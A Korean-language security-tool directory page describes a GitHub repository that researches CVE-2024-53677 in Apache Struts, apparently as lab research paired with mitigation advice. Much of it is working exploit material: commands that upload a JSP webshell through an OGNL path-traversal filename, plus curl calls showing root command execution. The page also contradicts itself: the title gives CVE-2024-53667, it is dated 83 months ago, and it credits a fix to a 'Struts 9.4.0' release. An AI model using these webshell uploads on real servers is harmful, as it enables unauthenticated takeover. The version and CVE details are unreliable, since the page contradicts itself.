Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
struts-uploader-vulnerability — CVE-2024-53667에 대한 익스플로잇 옵션 연구 및 대응 방안 | Kitploit
도구/GitHubGitHub/baburkin/struts-uploader-vulnerability
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubbaburkin/struts-uploader-vulnerability

struts-uploader-vulnerability

CVE-2024-53667에 대한 익스플로잇 옵션 연구 및 대응 방안

저장소 보기
83개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-53677 — 익스플로잇 작동 방식 및 실행 방법

취약점 요약

이 결함은 Struts의 FileUploadInterceptor가 업로드된 파일 이름을 액션 클래스로 전달하는 방식에 있습니다. 일반적으로 인터셉터는 파일 이름을 정리하지만, Struts는 또한 ParametersInterceptor가 모든 멀티파트 파라미터를 OGNL 표현식으로 처리하도록 허용합니다. top.UploadFileName(또는 다중 파일 액션의 경우 uploadFileName[0])을 폼 필드로 보내면 OGNL을 통해 action.setUploadFileName(value)가 직접 호출되어 인터셉터가 설정한 값을 덮어씁니다.

그런 다음 액션은 경로 정리 없이 파일을 씁니다:

String uploadDir = "webapps/ROOT/uploads";          // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName);  // no sanitization

파일 이름으로 ../shell.jsp를 보내면 다음과 같이 해석됩니다:

/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp          ← served at http://localhost:8080/shell.jsp

거기에 JSP 웹쉘을 업로드하면 인증되지 않은 RCE가 발생합니다.


연구 중인 익스플로잇

이 취약점과 관련하여 두 가지 익스플로잇이 연구되고 있습니다:

  1. EQSTLab의 Lab Tomcat 및 익스플로잇
  2. Snyk 취약점 데이터베이스

두 익스플로잇의 대상으로 사용된 Lab Tomcat 애플리케이션 서버는 첫 번째 저장소에서 가져왔으며, 컨테이너(docker 또는 podman)에서 실행됩니다.

또 다른 익스플로잇은 이 저장소에서 poc.py의 Java 버전으로 제공되며, 이는 두 번째 소스에서 비롯되었습니다.

두 익스플로잇의 미묘한 차이는 이 문서 끝에 있는 나란히 비교한 표에 나와 있습니다.


조사 결과

두 익스플로잇 모두 Struts 6.3.0.2에서 작동하는 것이 확인되었습니다.

그러나 Struts를 6.8.0 또는 6.9.0으로 업그레이드했을 때, 첫 번째 익스플로잇 (CVE-2024-53677.py)이 작동하지 않았습니다. 이는 Struts 9.4.0의 수정 때문입니다.

두 번째 익스플로잇(StrutsExploitRunner)은 모든 버전 6.3.0.2, 6.8.0, 6.9.0에서 작동합니다. 단, 아래 완화 방법 섹션에서 권장하는 대로 취약한 애플리케이션 코드가 업데이트되지 않은 경우에 한합니다.

아래 조사의 기술적 세부 사항을 참조하십시오.

실습 환경 설정

첫 번째 저장소를 클론하고 루트 디렉터리로 이동합니다:

git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677

docker(원래) 또는 podman(연구에서 사용)이 필요하며, 취약한 Lab Tomcat을 빌드하고 실행합니다:

cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit

아래 설명된 대로 익스플로잇 스크립트를 저장소 루트 디렉터리에서 Python 가상 환경을 활성화한 상태로 별도의 셸에서 실행합니다.


CVE-2024-53677.py 사용

기능

top.UploadFileName을 사용하여 경로 순회 파일 이름을 주입하여 /upload.action에 JSP 웹쉘을 업로드합니다. 하드코딩된 웹쉘은 ?action=cmd&cmd=<command>를 통해 명령을 받습니다.

명령

python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp

-p는 top.UploadFileName으로 전달되는 값입니다. ../ 하나만 있으면 uploads/ 디렉터리를 벗어나 파일을 웹 루트에 위치시킬 수 있습니다.

RCE 확인

curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)

필요한 action=cmd 파라미터에 유의하십시오. 하드코딩된 웹쉘은 명령을 실행하기 전에 이를 확인합니다. 없으면 출력 대신 Unknown action.을 반환합니다.

사용자 정의 페이로드 업로드

python CVE-2024-53677.py \
  -u http://localhost:8080/upload.action \
  -p ../shell.jsp \
  -f ./my_payload.jsp

StrutsExploitRunner 사용

기능

/uploads.action(다중 파일 변형)을 대상으로 하며 OGNL을 통해 uploadFileName[0]을 경로 순회 값으로 설정합니다. 동일한 기본 우회 방법이지만 파라미터 이름과 액션 클래스가 다릅니다.

익스플로잇 jar 빌드

익스플로잇을 빌드하고 실행하려면 JDK 17 이상이 필요합니다(java 바이너리가 PATH에 있어야 합니다).

이 저장소의 루트에서 다음 명령을 실행하여 실행 가능한 uber-jar를 빌드합니다:

./mvnw clean package

익스플로잇 실행

java -jar target/exploit-1.0-SNAPSHOT.jar \
  -u http://localhost:8080 \
  --upload_endpoint /uploads.action \
  --paths .. \
  --filenames shell.jsp

--filenames는 파일 이름을 고정하여 가져올 위치를 알 수 있게 합니다. 없으면 스크립트가 무작위 이름을 생성하며 출력에 표시됩니다.

RCE 확인

이 애플리케이션이 업로드한 웹쉘은 더 간단한 ?cmd= 인터페이스를 사용합니다:

curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)

Struts 6.x에 고정된 애플리케이션의 완화 방법

표준 해결책은 파일 업로드 메커니즘을 완전히 재설계한 Struts 7.x로 업그레이드하는 것입니다. 업그레이드가 차단된 경우(JDK 8 호환성, 타사 종속성 제약), 아래의 완화 방법을 적용할 수 있습니다.


액션 클래스에서 파일 이름 정리 (가장 높은 영향, 코드 수준)

이는 어떤 인터셉터가 전달하는 내용에 관계없이 작동하므로 가장 강력한 수정입니다. 대상 경로를 빌드하기 전에 파일 이름에서 모든 경로 구성 요소를 제거한 다음, 확인된 경로가 여전히 의도된 디렉터리 내에 있는지 확인합니다.

import java.nio.file.Paths;

public String doUpload() {
    if (upload != null && upload.length() > 0) {
        try {
            File uploadDirectory = new File("/var/app/uploads");
            if (!uploadDirectory.exists()) uploadDirectory.mkdirs();

            // Strip any path components the attacker injected via top.UploadFileName
            String safeFileName = Paths.get(uploadFileName).getFileName().toString();

            File destFile = new File(uploadDirectory, safeFileName);

            // Confirm the resolved path is still inside the upload directory
            String canonicalDest = destFile.getCanonicalPath();
            String canonicalBase = uploadDirectory.getCanonicalPath();
            if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
                addActionError("Invalid upload path.");
                return ERROR;
            }

            // ... copy bytes as before

Paths.get("../shell.jsp").getFileName()은 shell.jsp를 반환하므로, top.UploadFileName이 순회 문자열을 전달하더라도 I/O가 발생하기 전에 일반 파일 이름으로 축소됩니다.

동일한 패턴이 UploadsAction에도 적용됩니다. 각 uploadFileName.get(i)에 대해 for 루프 내부에 적용하십시오.


나란히 비교

CVE-2024-53677.pyStrutsExploitRunner
엔드포인트/upload.action/uploads.action
OGNL 파라미터top.UploadFileNameuploadFileName[0]
액션 클래스UploadAction (단일 파일)UploadsAction (다중 파일)
웹쉘 호출?action=cmd&cmd=<cmd>?cmd=<cmd>
기본 경로 버그없음--paths 기본값이 너무 깊음, ..로 재정의
도구 다운로드